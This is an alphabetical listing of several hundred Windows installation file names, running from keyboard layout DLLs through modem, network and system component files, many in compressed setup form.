KBDIR.DLL, KBDIT.DLL, KBDIT142.DLL, KBDKAZ.DLL, KBDLA.DLL
KBDLK41A.DL_, KBDLK41J.DL_, KBDLT.DLL, KBDLT1.DLL, KBDLV.DLL
KBDLV1.DLL, KBDMAC.DL_, KBDNE.DLL, KBDNEC.DL_, KBDNEC95.DL_,
KBDNECAT.DL_, KBDNECNT.DL_, KBDNO.DLL, KBDPL.DLL, KBDPL1.DLL
KBDPO.DLL, KBDRO.DLL, KBDRU.DLL, KBDRU1.DLL, KBDSF.DLL
KBDSG.DLL, KBDSL.DLL, KBDSL1.DLL, KBDSP.DLL, KBDSW.DLL
KBDTAT.DLL, KBDTUF.DLL, KBDTUQ.DLL, KBDUK.DLL, KBDUR.DLL
KBDUS.DLL, KBDUSA.DL_, KBDUSL.DLL, KBDUSR.DLL, KBDUSX.DLL
KBDUZB.DLL, KBDVNTC.DLL, KBDYCC.DLL, KBDYCL.DLL, KDK2X0.IN_,
KERBEROS.DL_, KERNEL32.DL_, KEY01.SY_, KEYB.CH_, KEYBOARD.DR_,
KEYBOARD.IN_, KEYBOARD.SY_, KMDDSP.TS_, KODAK.IN_, KODAKIMG.EX_,
KODAKPRV.EX_, KOREAN.UC_, KRNL386.EX_, KS.IN_, KSC.NL_,
KSCAPTUR.IN_, KSECDD.SY_, KSFILTER.IN_, KSOLAY.AX_, KSQMF.AX_,
L3CODECX.AX_, LABEL.EX_, LADMIN2X.DL_, LADMINPX.DL_, LADMINX.DL_,
LANG.CH_, LANMAN.DR_, LAPPSTRT.CU_, LAPRXY.DL_,
LARROW.CU_, LAYOUT.INF, LBRTFDC.SY_, LCROSS.CU_, LEAVES.HT_,
LEAVESBG.JP_, LEGACY.IN_, LEGCYDRV.IN_, LGMNTR.EX_, LGSTITCH.DL_,
LHACM.AC_, LIBEAM.CU_, LICENSE.CH_, LICMGR10.DL_, LIGHTS.EX_,
LINKINFO.DL_, LMHOSTS.SA_, LMHSVC.DL_, LMMIB2.DL_, LMMIB2.MI_,
LMOVE.CU_, LMRT.DL_, LNESW.CU_, LNKSTUB.EX_, LNODROP.CU_,
LNS.CU_, LNWSE.CU_, LOADFIX.CO_, LOADPERF.DL_, LOCALE.NL_,
LOCALMON.DL_, LOCALSEC.CH_, LOCALSEC.DL_, LOCALSEC.HL_, LOCALSPL.DL_,
LOCALUI.DL_, LOCATOR.EX_, LOCWIN32.DL_, LODCTR.EX_, LOGAGENT.EX_,
LOGDRIVE.DL_, LOGHOURS.DL_, LOGIN.CM_, LOGISCAN.IN_, LOGOFF.WA_,
LOGON.SC_, LOGON.WA_, LOGSCRPT.DL_, LOGTEMP.SQ_, LOGUI.OC_,
LONSINT.DL_, LOTUS.WK_, LP6NDS35.SY_, LPDSVC.DL_, LPK.DL_,
LPQ.EX_, LPR.EX_, LPRHELP.DL_, LPRMON.DL_, LPRMONUI.DL_,
LSASRV.DL_, LSASS.EX_, LUCON.TT_, LUSRMGR.MS_, LVCAM.IN_,
LVCOMP.IN_, LVSOUND.IN_, LWAIT.CU_, LWE.CU_, LWNGMADI.IN_,
LWUSBHID.IN_, LZ32.DL_, LZEXPAND.DL_, L_10646.TT_, L_EXCEPT.NL_,
L_INTL.NL_, MACHINE.IN_, MAGNIFY.CH_, MAGNIFY.EX_, MAGNIFY.HL_,
MAG_HOOK.DL_, MAIL.CH_, MAIN.CP_, MAIZE.HT_, MAIZEBKG.JP_,
MAKAPT15.BA_, MAKECAB.EX_, MAKFRE15.BA_, MANAGER.CAB, MAPIMIG.CA_,
MAPISTUB.DL_, MARLETT.TT_, MBSLGN32.DL_, MCAST.DL_, MCASTMIB.DL_,
MCASTMIB.MI_, MCD32.DL_, MCDSRV32.DL_, MCHGR.IN_, MCI.HT_,
MCIAVI.DR_, MCIAVI32.DL_, MCICDA.DL_, MCIOLE16.DL_, MCIOLE32.DL_,
MCIQTZ32.DL_, MCISEQ.DL_, MCISEQ.DR_, MCIWAVE.DL_, MCIWAVE.DR_,
MD5FILT.DL_, MDAC.IN_, MDACRDME.HT_, MDHCP.DL_, MDM3CISA.IN_,
MDM3COM.IN_, MDM3CPCM.IN_, MDM3CUSB.IN_, MDM3X.IN_, MDM656N5.IN_,
MDMACEEX.IN_, MDMADC.IN_, MDMAIRTE.IN_, MDMAR1.IN_, MDMARCH.IN_,
MDMARCHT.IN_, MDMARN.IN_, MDMATI.IN_, MDMATT.IN_, MDMAUS.IN_,
MDMBLATZ.IN_, MDMBOCA.IN_, MDMBSB.IN_, MDMBSCH.IN_, MDMCM28.IN_,
MDMCMCM.IN_, MDMCODEX.IN_, MDMCOM1.IN_, MDMCOMMU.IN_, MDMCPI.IN_,
MDMCPQ.IN_, MDMCPQ2.IN_, MDMCPV.IN_, MDMCRTIX.IN_, MDMCTM1.IN_,
MDMDEFD.IN_, MDMDGITN.IN_, MDMDIGI.IN_, MDMDISCO.IN_, MDMDSI.IN_,
MDMDYNA.IN_, MDMEIGER.IN_, MDMELINK.IN_, MDMELSA.IN_, MDMERIC.IN_,
MDMERIC2.IN_, MDMESS.IN_, MDMETECH.IN_, MDMEXP.IN_, MDMEYP.IN_,
MDMGATEW.IN_, MDMGCS.IN_, MDMGEN.IN_, MDMGL001.IN_, MDMGL002.IN_,
MDMGL003.IN_, MDMGL004.IN_, MDMGL005.IN_, MDMGL006.IN_, MDMGL007.IN_,
MDMGL008.IN_, MDMGL009.IN_, MDMGL010.IN_, MDMGSM.IN_, MDMGV.IN_,
MDMGVC.IN_, MDMHAEU.IN_, MDMHAEUS.IN_, MDMHANDY.IN_, MDMHAY2.IN_,
MDMHAYES.IN_, MDMINFOT.IN_, MDMINST.DL_, MDMINSYS.IN_, MDMINTEL.IN_,
MDMINTPC.IN_, MDMISDN.IN_, MDMITEX.IN_, MDMKE.IN_, MDMKORTX.IN_,
MDMLASAT.IN_, MDMLASNO.IN_, MDMLCE.IN_, MDMLNGSH.IN_, MDMLT3.IN_,
MDMLTLEO.IN_, MDMMART.IN_, MDMMCOM.IN_, MDMMETRI.IN_, MDMMHRTZ.IN_,
MDMMHZA.IN_, MDMMHZEL.IN_, MDMMHZK1.IN_, MDMMIX.IN_, MDMMOD.IN_,
MDMMOTO.IN_, MDMMOTO1.IN_, MDMMOTOU.IN_, MDMMTD.IN_, MDMMTS.IN_,
MDMMULOG.IN_, MDMNEUHS.IN_, MDMNOKIA.IN_, MDMNOKNO.IN_, MDMNOVA.IN_,
MDMNOVFX.IN_, MDMOLIC.IN_, MDMOPTN.IN_, MDMOSI.IN_, MDMPACE.IN_,
MDMPBIT.IN_, MDMPENR.IN_, MDMPHILS.IN_, MDMPN1.IN_, MDMPNB.IN_,
MDMPP.IN_, MDMPRODM.IN_, MDMPSION.IN_, MDMRACAL.IN_, MDMRISA.IN_,
MDMROCK.IN_, MDMROCK2.IN_, MDMROCK3.IN_, MDMROCK4.IN_, MDMROCK5.IN_,
MDMRPCI.IN_, MDMRPCIW.IN_, MDMSECDY.IN_, MDMSETUP.IN_, MDMSIER.IN_,
MDMSIMPL.IN_, MDMSMART.IN_, MDMSNIT1.IN_, MDMSNITN.IN_, MDMSONIX.IN_,
MDMSPQ28.IN_, MDMSRT.IN_, MDMSUPR3.IN_, MDMSUPRA.IN_, MDMSUPRV.IN_,
MDMTAICM.IN_, MDMTDK.IN_, MDMTELBT.IN_, MDMTELIN.IN_, MDMTELNK.IN_,
MDMTEXAS.IN_, MDMTGER.IN_, MDMTI.IN_, MDMTOSH.IN_, MDMTRIPL.IN_,
MDMTRON.IN_, MDMUCOM.IN_, MDMUSRCR.IN_, MDMUSRF.IN_, MDMUSRG.IN_,
MDMUSRK1.IN_, MDMUSRSP.IN_, MDMUSRWP.IN_, MDMVDOT.IN_, MDMVICT.IN_,
MDMVV.IN_, MDMWELL.IN_, MDMWHQL0.IN_, MDMWOER.IN_, MDMX5560.IN_,
MDMYORIK.IN_, MDMZOOM.IN_, MDMZYP.IN_, MDMZYXEL.IN_, MDMZYXLD.IN_,
MDMZYXLG.IN_, MDSYNC.DL_, MDUTIL.EX_, MEM.EX_, MEMCARD.IN_,
MERLIN.AC_, METADATA.DL_, METRONOM.AN_, MF.IN_, MF3.DE_,
MF3216.DL_, MF3C562.IN_, MFC21.IN_, MFC40.DL_, MFC40U.DL_,
MFC42.DL_, MFC42U.DL_, MFC550.IN_, MFCEM28.IN_, MFCEM33.IN_,
MFCEM56.IN_, MFCSUBS.DL_, MFCUIX.HL_, MFF56N5.IN_, MFGENB.IN_,
MFLE56.IN_, MFM16B.IN_, MFMHZN5.IN_, MFOCE2M.IN_, MFOCT35.IN_,
MFS12CZ.DE_, MFS12CZ.DL_, MFSOCKET.IN_, MFSUPRA.IN_, MFX56NF.IN_,
MGA64.IN_, MGMTAPI.DL_, MGSYNC.IN_, MGWAN5.IN_, MIB.BI_,
MIB_II.MI_, MICROSS.TT_, MIDIMAP.DL_, MIGISOL.EX_, MIGPWD.EX_,
MIGREGDB.EX_, MIMEFILT.DL_, MINIOC.IN_, MIPX.MI_, MLANG.DA_,
MLANG.DL_, MLL_HP.DL_, MLL_MTF.DL_, MLL_QIC.DL_, MLS_TRB.CH_,
MMC.EX_, MMC.HL_, MMCNDMGR.DL_, MMCSHEXT.DL_, MMC_W.CH_,
MMDET.DL_, MMDRIVER.IN_, MMDRV.DL_, MMDRV.HL_, MMEFXE.OC_,
MMFUTIL.DL_, MMOPT.IN_, MMSYS.CP_, MMSYSTEM.DL_, MMTASK.TS_,
MMUTILSE.DL_, MNB22G15.IC_, MNB22G18.IC_, MNB22G21.IC_, MNEBUG15.IC_,
MNEBUG18.IC_, MNEBUG21.IC_, MNMDD.DL_, MNMDD.SY_, MNMSRVC.EX_,
MNP22G15.IC_, MNP22G18.IC_, MNP22G21.IC_, MOBSYNC.CH_, MOBSYNC.DL_,
MOBSYNC.EX_, MOBSYNC.HL_, MODE.CO_, MODEM.CAB, MODEM.HL_,
MODEM.SY_, MODEMCSA.IN_, MODEMUI.DL_, MODERN.FO_, MODEX.DL_,
MODE_W.CH_, MOFCOMP.EX_, MOFD.DL_, MONITOR.IN_, MONITOR2.IN_,
MONITOR3.IN_, MONITOR4.IN_, MONITOR5.IN_, MONITOR6.IN_, MONITOR7.IN_,
MONITOR8.IN_, MONITOR9.IN_, MORE.CO_, MORICONS.DL_, MOUNTMGR.SY_,
MOUNTVOL.EX_, MOUSE.CH_, MOUSE.DR_, MOUSE.HL_, MOVE_I.CU_,
MOVE_IL.CU_, MOVE_IM.CU_, MOVE_L.CU_, MOVE_M.CU_, MOVE_R.CU_,
MOVE_RL.CU_, MOVE_RM.CU_, MOZART~2.RM_, MPCODECS.IN_, MPG2SPLT.AX_,
MPG4DS32.AX_, MPLAY32.EX_, MPLAYER.CH_, MPLAYER.HL_, MPLAYER2.CN_,
MPLAYER2.EX_, MPLAYER2.HL_, MPLAYER2.IN_, MPNETWRK.HL_, MPNOTIFY.EX_,
MPR.DL_, MPRAPI.DL_, MPRDDM.DL_, MPRDIM.DL_, MPRMSG.DL_,
MPRUI.DL_, MPSSTLN.IN_, MP_W.CH_, MQ1REPL.DL_, MQ1SYNC.EX_,
MQAC.SY_, MQADS.DL_, MQBKUP.EX_, MQCERTUI.DL_, MQDBODBC.DL_,
MQDSCLI.DL_, MQDSSRV.DL_, MQEXCHNG.CA_, MQEXCHNG.EX_, MQLOGMGR.DL_,
MQMAILOA.DL_, MQMAILVB.DL_, MQMIG.EX_, MQMIGRAT.DL_, MQOA.DL_,
MQOA10.TL_, MQPERF.DL_, MQPERF.IN_, MQPRFSYM.H_, MQQM.DL_,
MQRT.DL_, MQSEC.DL_, MQSNAP.DL_, MQSNAP.HL_, MQSVC.EX_,
MQSYSOC.IN_, MQUPGRD.DL_, MQUTIL.DL_, MQXP32.DL_, MRAID35X.SY_,
MRINFO.EX_, MRIPSAP.MI_, MRXSMB.SY_, MSACM.DL_, MSACM32.DL_,
MSACM32.DR_, MSADCE.DL_, MSADCER.DL_, MSADCF.DL_, MSADCFR.DL_,
MSADCO.DL_, MSADCOR.DL_, MSADCS.DL_, MSADDS.DL_, MSADDS32.AX_,
MSADDSR.DL_, MSADER15.DL_, MSADLIB.ID_, MSADO15.DL_, MSADO20.TL_,
MSADO21.TL_, MSADOMD.DL_, MSADOR15.DL_, MSADOX.DL_, MSADP32.AC_,
MSADRH15.DL_, MSAFD.DL_, MSAPSSPC.DL_, MSASN1.DL_, MSAUDITE.DL_,
MSAWT.DL_, MSBBS.HT_, MSCAT32.DL_, MSCDEXNT.EX_, MSCLUS.DL_,
MSCMS.DL_, MSCONF.DL_, MSCONV97.DL_, MSCPXL32.DL_, MSDADC.DL_,
MSDAENUM.DL_, MSDAER.DL_, MSDAORA.DL_, MSDAOSP.DL_, MSDAPRSR.DL_,
MSDAPRST.DL_, MSDAPS.DL_, MSDAREM.DL_, MSDAREMR.DL_, MSDART32.DL_,
MSDASC.CH_, MSDASC.DL_, MSDASQL.DL_, MSDASQLR.DL_, MSDATL2.DL_,
MSDATSRC.TL_, MSDATT.DL_, MSDAURL.DL_, MSDBI.DLL, MSDFMAP.DL_,
MSDFMAP.IN_, MSDTC.EX_, MSDTCLOG.DL_, MSDTCPRF.H_, MSDTCPRF.IN_,
MSDTCPRX.DL_, MSDTCTM.DL_, MSDTCUI.DL_, MSDV.IN_, MSDXM.OC_,
MSDXMLC.DL_, MSENCODE.DL_, MSEXCH40.DL_, MSEXCL40.DL_, MSF12CZ.DE_,
MSF12CZ.DL_, MSFAXMON.DL_, MSFS.SY_, MSFT.MI_, MSG711.AC_,
MSG723.AC_, MSGINA.DL_, MSGPC.SY_, MSGSM32.AC_, MSGSVC.DL_,
MSH261.DR_, MSHDC.IN_, MSHTA.EX_, MSHTML.DL_, MSHTML.TL_,
MSHTMLED.DL_, MSHTMLER.DL_, MSI.DL_, MSI.MF_, MSI.MO_,
MSICW.IS_, MSIDENT.DL_, MSIDENT.HL_, MSIDLE.DL_, MSIDLPM.DL_,
MSIDNTLD.DL_, MSIDPE.DL_, MSIEFTP.DL_, MSIEXEC.EX_, MSIHND.DL_,
MSIMDBCR.DL_, MSIMDBMG.DL_, MSIMDBPC.DL_, MSIMDBPR.DL_, MSIMG32.DL_,
MSIMN.EX_, MSIMSG.DL_, MSINFO32.CH_, MSINFO32.DL_, MSINFO32.EX_,
MSINFO32.HL_, MSINFO32.IN_, MSINFO32.MS_, MSIPBTP.MI_, MSIPRIP2.MI_,
MSIPROV.DL_, MSJAVA.DL_, MSJDBC.CA_, MSJDBC.CE_, MSJDBC.ZI_,
MSJDBC10.DL_, MSJET40.DL_, MSJETOL1.DL_, MSJINT40.DL_, MSJRO.DL_,
MSJTER40.DL_, MSJTES40.DL_, MSLS31.DL_, MSLTUS40.DL_, MSLWVTTS.DL_,
MSMAIL.IN_, MSMOUSE.IN_, MSMQ.CP_, MSMQCO_W.CH_, MSMQCPL.CH_,
MSMQCPL.HL_, MSMQOCM.DL_, MSMQOCM.IN_, MSMQ_W.CH_, MSMS001.VW_,
MSMSCSI.IN_, MSMUSB.IN_, MSN.IS_, MSNAUTH.CN_, MSNAUTH.HL_,
MSNETMTG.IN_, MSNSSPC.DL_, MSOBJS.DL_, MSOE.CH_, MSOE.DL_,
MSOE.HL_, MSOE.TX_, MSOE50.IN_, MSOEACCT.DL_, MSOEACCT.HL_,
MSOERES.DL_, MSOERT2.DL_, MSORCL32.CH_, MSORCL32.DL_, MSPAINT.CH_,
MSPAINT.EX_, MSPAINT.HL_, MSPATCHA.DL_, MSPBDE40.DL_, MSPORTS.DL_,
MSPORTS.IN_, MSPRIVS.DL_, MSR2C.DL_, MSR2CENU.DL_, MSRATING.DL_,
MSRCLR40.DL_, MSRD2X40.DL_, MSRD3X40.DL_, MSRECR40.DL_, MSREPL40.DL_,
MSRLE32.DL_, MSSCRIPT.OC_, MSSIGN32.DL_, MSSIP32.DL_, MSSOUND.WA_,
MSSWCH.DL_, MSSWCHX.EX_, MST120.DL_, MST123.DL_, MSTASK.DL_,
MSTASK.EX_, MSTASK.HL_, MSTASK.INF, MSTASK.INI, MSTASK_W.CH_,
MSTEXT40.DL_, MSTINIT.EX_, MSTTS.IN_, MSTTSSYN.DL_, MSV1_0.DL_,
MSVBVM50.DL_, MSVBVM60.DL_, MSVCIRT.DL_, MSVCP50.DLL, MSVCRT.DLL
MSVCRT20.DL_, MSVCRT40.DL_, MSVFW32.DL_, MSVIDC32.DL_, MSVIDEO.DL_,
MSW3PRT.DL_, MSWDAT10.DL_, MSWRD632.WP_, MSWRD832.CN_, MSWSOCK.DL_,
MSWSTR10.DL_, MSXACTPS.DL_, MSXBDE40.DL_, MSXML.DL_, MTSADMIN.TL_,
MTSTOCOM.EX_, MTX.CL_, MTXCLU.DL_, MTXDM.DL_, MTXEX.DL_,
MTXLEGIH.DL_, MTXOCI.DL_, MULTILNG.OS_, MULTIMED.IN_, MULTIPRT.IN_,
MUP.SY_, MUSTEK.BM_, MVOICED.VW_, MW770.CA_, MWAVMDM1.IN_,
MWCI.DL_, MWCI32.DL_, MWMBATAM.IN_, MWREMOVE.IN_, MWSETUPK.SY_,
MWTPDSP.IN_, MYCOMPUT.DL_, MYDOCS.DL_, MYINFO.DL_, N2K.BM_,
N3BRIDGE.IN_, NAC.DL_, NARRATOR.EX_, NARRHOOK.DL_, NATURE.HT_,
NATUREBG.JP_, NBF.SY_, NBTSTAT.EX_, NCPA.CP_, NCRC710.SY_,
NDDEAPI.DL_, NDDEAPIR.EX_, NDDENB32.DL_, NDIS.SY_, NDISNPP.DL_,
NDISTAPI.SY_, NDISWAN.SY_, NDPROXY.SY_, NDPTSP.TS_, NEO20XX.IN_,
NET.EX_, NET.HL_, NET08A.IN_, NET1.EX_, NET21X4.IN_,
NET3C359.IN_, NET3C562.IN_, NET3C589.IN_, NET5515N.IN_, NET557.IN_,
NET575NT.IN_, NET656N5.IN_, NET713.IN_, NETACC.IN_, NETALT.IN_,
NETAMBCB.IN_, NETAMBI.IN_, NETAMD.IN_, NETAMDHL.IN_, NETANA.IN_,
NETAPI.DL_, NETAPI.OS_, NETAPI32.DL_, NETASP2K.IN_, NETATLK.IN_,
NETAUNI.IN_, NETBIOS.SY_, NETBLITZ.HT_, NETBLZBG.GI_, NETBRZW.IN_,
NETBT.SY_, NETC20.IN_, NETC21.IN_, NETC550.IN_, NETCB325.IN_,
NETCBE.IN_, NETCE2.IN_, NETCE3.IN_, NETCEM28.IN_, NETCEM33.IN_,
NETCEM56.IN_, NETCFG.HL_, NETCFGX.DL_, NETCFG_W.CH_, NETCIS.IN_,
NETCPQG.IN_, NETCPQI.IN_, NETCPQMT.IN_, NETCTMRK.IN_, NETCTMVA.IN_,
NETDDE.EX_, NETDEFXA.IN_, NETDET.DL_, NETDGDXB.IN_, NETDGISA.IN_,
NETDGSXB.IN_, NETDLC.IN_, NETDLH5X.IN_, NETDSTAR.IN_, NETDTECT.DL_,
NETDTECT.SY_, NETE100.IN_, NETE1000.IN_, NETE100I.IN_, NETE100S.IN_,
NETEJET.IN_, NETEJXMP.IN_, NETEL515.IN_, NETEL574.IN_, NETEL59X.IN_,
NETEL5X9.IN_, NETEL90X.IN_, NETEL980.IN_, NETEL99X.IN_, NETENET.IN_,
NETENI25.IN_, NETEPC.IN_, NETEPICN.IN_, NETEPRO.IN_, NETET32.IN_,
NETEVENT.DL_, NETEX10.IN_, NETF56N5.IN_, NETFJVI.IN_, NETFJVJ.IN_,
NETFLEX.IN_, NETFORE.IN_, NETFOREH.IN_, NETGENB.IN_, NETGPC.IN_,
NETH.DL_, NETHPPCI.IN_, NETIAS.IN_, NETIBM.IN_, NETIBM2.IN_,
NETIBMGE.IN_, NETIBMN5.IN_, NETID.DL_, NETIPRIP.IN_, NETIRDA.IN_,
NETIRSIR.IN_, NETJAT5.IN_, NETLANEM.IN_, NETLANEP.IN_, NETLE56.IN_,
NETLOGON.DL_, NETLOOP.IN_, NETLPD.IN_, NETM16A.IN_, NETM16B.IN_,
NETM32A.IN_, NETMADGE.IN_, NETMAN.DL_, NETMEET.HT_, NETMHZN5.IN_,
NETMSCLI.IN_, NETMSG.DL_, NETNB.IN_, NETNBF.IN_, NETNF3.IN_,
NETNGR.IN_, NETNM.IN_, NETNOVEL.IN_, NETNWCLI.IN_, NETNWLNK.IN_,
NETOC.DL_, NETOC.IN_, NETOCA1P.IN_, NETOCA2P.IN_, NETOCE2M.IN_,
NETOCE3M.IN_, NETOCE4M.IN_, NETOCE55.IN_, NETOCT35.IN_, NETOCT4P.IN_,
NETOEMDH.IN_, NETOSI5.IN_, NETPC100.IN_, NETPLWIZ.DL_, NETPNIC.IN_,
NETPSA.IN_, NETPSCHD.IN_, NETPTON.IN_, NETPWR2.IN_, NETRAP.DL_,
NETRASA.IN_, NETRASS.IN_, NETRAST.IN_, NETRLW2K.IN_, NETRNSE.IN_,
NETRSVP.IN_, NETRTPNT.IN_, NETRTSNT.IN_, NETRWAN.IN_, NETSAP.IN_,
NETSERV.IN_, NETSH.EX_, NETSHELL.DL_, NETSK98.IN_, NETSK_FP.IN_,
NETSLANT.IN_, NETSMC.IN_, NETSNIP.IN_, NETSNMP.IN_, NETSTAT.EX_,
NETSTRM.IN_, NETSYM.IN_, NETTB155.IN_, NETTCPIP.IN_, NETTIGER.IN_,
NETTPRO.IN_, NETTPSMP.IN_, NETTSBNT.IN_, NETUI0.DL_, NETUI1.DL_,
NETUI2.DL_, NETUPGRD.IN_, NETVT86.IN_, NETW840.IN_, NETW926.IN_,
NETW940.IN_, NETWARE.DR_, NETWLAN2.IN_, NETWORKS._, NETWV48.IN_,
NETX500.IN_, NETX56N5.IN_, NETXCPQ.IN_, NEWDEV.DL_, NEWFEAT1.CH_,
NEWFEAT1.HL_, NEWFEAT2.CH_, NEWFEAT2.HL_, NEWFEAT3.CH_, NEWFEAT3.HL_,
NEWFEAT4.CH_, NEWFEAT4.HL_, NEWFEAT5.CH_, NEWFEAT5.HL_, NEXTLINK.DL_,
NG18D50.IC_, NG18D65.IC_, NG18D93.IC_, NG22D50.IC_, NG22D65.IC_,
NG22D93.IC_, NIPX.MI_, NLHTML.DL_, NLSFUNC.EX_, NMAS.DL_,
NMASNT.DL_, NMCHAT.CH_, NMCHAT.DL_, NMCOM.DL_, NMCTRS.H_,
NMCTRS.IN_, NMEVTMSG.DL_, NMFT.DL_, NMMKCERT.DL_, NMNT.SY_,
NMOLDWB.DL_, NMPERF.DL_, NMPGMGRP.EX_, NMWB.DL_, NMWHITEB.CH_,
NOCONTNT.CN_, NOFTS.CH_, NOISE.DA_, NOISE.DE_, NOISE.ENG
NOISE.ENU, NOISE.ES_, NOISE.FR_, NOISE.IT_, NOISE.NL_,
NOISE.SV_, NOTEPAD.CH_, NOTEPAD.EX_, NOTEPAD.HL_, NOTIFY.WA_,
NO_I.CU_, NO_IL.CU_, NO_IM.CU_, NO_L.CU_, NO_M.CU_,
NO_R.CU_, NO_RL.CU_, NO_RM.CU_, NPDS.ZI_, NPDSPLAY.DL_,
NPFS.SY_, NPPAGENT.EX_, NPPTOOLS.DL_, NPWMSDRM.DL_, NSEPM.DL_,
NSLOOKUP.EX_, NT.FN_, NT2.FN_, NT5.CA_, NT5IIS.CA_,
NT5INF.CA_, NT5JAVA.IN_, NT5PRTA.CA_, NT5PRTX.CA_, NTAPM.IN_,
NTART_W.CH_, NTBACKUP.CH_, NTBACKUP.EX_, NTBACKUP.HL_, NTCHOWTO.CH_,
NTCMDS.CH_, NTDEF_W.CH_, NTDETECT.COM, NTDLL.DLL, NTDOS.SY_,
NTDOS404.SY_, NTDOS411.SY_, NTDOS412.SY_, NTDOS804.SY_, NTDSA.DL_,
NTDSAPI.DL_, NTDSATQ.DL_, NTDSBCLI.DL_, NTDSBSRV.DL_, NTDSETUP.DL_,
NTDSKCC.DL_, NTDSUTIL.EX_, NTDSXDS.DL_, NTEVT.DL_, NTEVT.MF_,
NTEVT.MO_, NTFS.SY_, NTFS40.SYS, NTHELP.CH_, NTIMAGE.GI_,
NTIO.SY_, NTIO404.SY_, NTIO411.SY_, NTIO412.SY_, NTIO804.SY_,
NTKRNLMP.EX_, NTLANMAN.DL_, NTLANUI.DL_, NTLANUI2.DL_, NTLDR
NTLSAPI.DL_, NTMARTA.DL_, NTMSAPI.DL_, NTMSDBA.DL_, NTMSEVT.DL_,
NTMSMGR.DL_, NTMSMGR.MS_, NTMSOPRQ.MS_, NTMSSVC.DL_, NTOC.DL_,
NTOSKRNL.EX_, NTPRINT.DL_, NTPRINT.INF, NTSCIC22.IC_, NTSD.EXE
NTSDEXTS.DLL, NTSHARED.CH_, NTSHRUI.CH_, NTSHRUI.DL_, NTSHRUI.HL_,
NTVDM.EX_, NTVDMD.DL_, NULL.SY_, NV3.IN_, NV4.IN_,
NW16.EX_, NWAPI16.DL_, NWAPI32.DL_, NWC.CP_, NWCFG.DL_,
NWDOC.CH_, NWDOC.HL_, NWEVENT.DL_, NWLNKFLT.SY_, NWLNKFWD.SY_,
NWLNKIPX.SY_, NWLNKNB.SY_, NWLNKSPX.SY_, NWPROVAU.DL_, NWRDR.SY_,
NWSCRIPT.EX_, NWSETUP.DL_, NWWKS.DL_, OAKLEY.DL_, OBJECT~1.CL_,
OBJSEL.DL_, OBJSEL.HL_, OCCACHE.DL_, OCGEN.DL_, OCKODAK.DL_,
OCMANAGE.DL_, ODBC16GT.DL_, ODBC32.DL_, ODBC32GT.DL_, ODBCAD32.EX_,
ODBCBCP.DL_, ODBCCONF.DL_, ODBCCONF.EX_, ODBCCONF.RS_, ODBCCP32.CP_,
ODBCCP32.DL_, ODBCCR32.DL_, ODBCCU32.DL_, ODBCINST.CH_, ODBCINT.DL_,
ODBCJET.CH_, ODBCJI32.DL_, ODBCJT32.DL_, ODBCTRAC.DL_, ODDBSE32.DL_,
ODEXL32.DL_, ODFOX32.DL_, ODPDX32.DL_, ODTEXT32.DL_, OEIMPORT.DL_,
OEMIG50.EX_, OEMIGLIB.DL_, OFFFILT.DL_, OFFLINE_,.CH_, OHCI1394.SY_,
OIENG400.DL_, OIPRT400.DL_, OISLB400.DL_, OISSQ400.DL_, OITWA400.DL_,
OIUI400.DL_, OLE2.DL_, OLE2DISP.DL_, OLE2NLS.DL_, OLE32.DL_,
OLEACC.DL_, OLEACCRC.DL_, OLEAUT32.DL_, OLECLI.DL_, OLECLI32.DL_,
OLECNV32.DL_, OLEDB32.DL_, OLEDB32R.DL_, OLEDB32X.DL_, OLEDBJVS.IN_,
OLEDBVBS.IN_, OLEDLG.DL_, OLEPRN.DL_, OLEPRO32.DL_, OLESVR.DL_,
OLESVR32.DL_, OLETHK32.DL_, OMC.CH_, OPENGL32.DL_, OPENHCI.SY_,
OPTIONAL.IN_, OS2.EX_, OS2SRV.EX_, OS2SS.EX_, OSC.CAB
OSCCAB.CA_, OSCHOICE.EX_, OSK.CH_, OSK.EX_, OSK.HL_,
OSLOADER.EX_, OSO001.007, OSO001.009, OSO001.010, OSO001.012
OSO001.016, OSO001.029, OSP.ZI_, OTHER.IN_, PACKAGER.CH_,
PACKAGER.EX_, PAD.IN_, PAGE1.AS_, PAGECNT.DL_, PALA.TT_,
PALAB.TT_, PALABI.TT_, PALAI.TT_, PANMAP.DL_, PARTMGR.SY_,
PARVDM.SY_, PASSPORT.MI_, PATHPING.EX_, PAUTOENR.DL_, PAX.EX_,
PCI.SY_, PCIIDE.SY_, PCIIDEX.SY_, PCL.SE_, PCMCIA.IN_,
PCMCIA.SY_, PCNFGMIN.H_, PCNFGMIN.IN_, PDH.DL_, PENTNT.EX_,
PEN_I.CU_, PEN_IL.CU_, PEN_IM.CU_, PEN_L.CU_, PEN_M.CU_,
PEN_R.CU_, PEN_RL.CU_, PEN_RM.CU_, PERFC009.DA_, PERFCI.H_,
PERFCI.IN_, PERFCTRS.DL_, PERFCTRS.MF_, PERFCTRS.MO_, PERFD009.DA_,
PERFDISK.DL_, PERFDISK.MF_, PERFDISK.MO_, PERFFILT.H_, PERFFILT.IN_,
PERFH009.DA_, PERFI009.DA_, PERFMON.EX_, PERFMON.MS_, PERFNET.DL_,
PERFNET.MF_, PERFNET.MO_, PERFNW.DL_, PERFOS.DL_, PERFOS.MF_,
PERFOS.MO_, PERFPROC.DL_, PERFPROC.MF_, PERFPROC.MO_, PERFTS.DL_,
PERFWCI.H_, PERFWCI.IN_, PERM2.IN_, PERMCHK.DL_, PHIL1VID.IN_,
PHIME.CA_, PHONE.IC_, PHONE.VE_, PIANO.AN_, PIDGEN.DLL
PIECHTBG.JP_, PIECHTS.HT_, PIFMGR.DL_, PINBALL.CH_, PINBALL.DA_,
PINBALL.EX_, PINBALL.HL_, PINBALL.IN_, PINBALL.MI_, PINBALL2.MI_,
PING.EX_, PLUGIN.OC_, PLUSTAB.DL_, PMSPL.DL_, PNGFILT.DL_,
POLAGENT.DL_, POLSTORE.DL_, POSIX.EX_, POWERCFG.CP_, POWERPNT.PP_,
POWRPROF.DL_, PPA.IN_, PPA3.IN_, PPPMENU.SC_, PRAIRIE.BM_,
PRC.NL_, PRCP.NL_, PRESENTA.SH_, PRFLBMSG.DL_, PRINT.EX_,
PRINTFND.CH_, PRINTING.CH_, PRINTMON.IN_, PRINTUI.DL_, PRINTUPG.IN_,
PRLOAD.BI_, PROCTEXE.OC_, PRODSPEC.INI, PROFMAP.DL_, PROGMAN.CN_,
PROGMAN.EX_, PROGMAN.HL_, PROQUOTA.EX_, PROTOCOL._, PROVTHRD.DL_,
PRTWEBVW.CS_, PSAPI.DL_, PSBASE.DL_, PSCHDCNT.H_, PSCHDPRF.DL_,
PSCHDPRF.IN_, PSCHED.SY_, PSCRIPT.SE_, PSNPPAGN.DL_, PSTOREC.DL_,
